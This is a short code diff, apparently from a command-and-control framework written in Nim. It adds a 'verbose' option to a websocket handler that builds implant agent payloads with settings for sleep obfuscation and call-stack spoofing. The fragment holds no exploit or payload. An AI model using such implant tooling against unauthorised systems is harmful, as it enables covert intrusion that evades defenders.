@@ -96,9 +96,10 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
sleepDelay = event.data["sleepDelay"].getInt()
sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
spoofStack = event.data["spoofStack"].getBool()
verbose = event.data["verbose"].getBool()
modules = cast[uint32](event.data["modules"].getInt())
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules)
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules)
if payload.len() != 0:
cq.client.sendAgentPayload(payload)